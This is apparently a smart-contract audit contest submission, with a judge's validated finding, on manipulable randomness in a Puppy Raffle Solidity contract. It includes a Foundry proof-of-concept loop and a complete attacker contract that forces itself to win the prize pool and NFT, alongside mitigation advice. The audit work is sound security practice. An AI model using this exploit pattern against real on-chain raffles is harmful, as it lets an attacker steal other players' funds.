Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[High] Randomness manipulable en selectWinner() — el atacante elige al ganador

rodry957

Root + Impact

In selectWinner(), the winner index is derived from on-chain, manipulable values:

@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

msg.sender is fixed (the caller), block.difficulty (or prevrandao) is controlled by the validator, and block.timestamp is freely chosen by the caller (they can wait for the right block). Impact: attacker becomes the winner of the raffle (steals ~80% of the pool). Legitimate players can never win.

Description

Normal behavior: after the raffle ends, anyone calls selectWinner() and the winner is chosen pseudo-randomly from the active players; the winner receives the prize pool and a PuppyRaffle NFT.

The issue: all randomness inputs are on-chain and caller/validator-controlled. The player calling selectWinner() can try on every block until winnerIndex points to their own position, making themselves the winner. A validator can directly choose the winner via block.difficulty (prevrandao). The raffle winner is fully manipulable.

Risk

Reason 1: all randomness inputs are on-chain and caller/validator-controlled.
Reason 2: no oracle, no commit-reveal, no VRF.

Impact 1: attacker becomes the winner of the raffle (steals ~80% of the pool).
Impact 2: legitimate players can never win.

Proof of Concept

// attacker iterates timestamps until they win (verified with vm.warp)
uint256 ts = block.timestamp;
for (uint256 i = 0; i < 500 && !won; i++) {
vm.warp(ts + i);
uint256 idx = uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % 5;
if (idx == 4) { raffle.selectWinner(); won = true; }
}

Forge test test_BUG2_winnerCanBeChosen PASS: attacker forces previousWinner == attacker within 500 blocks.

Recommended Mitigation

Use a verifiable random source (Chainlink VRF) or a commit-reveal scheme for winner selection.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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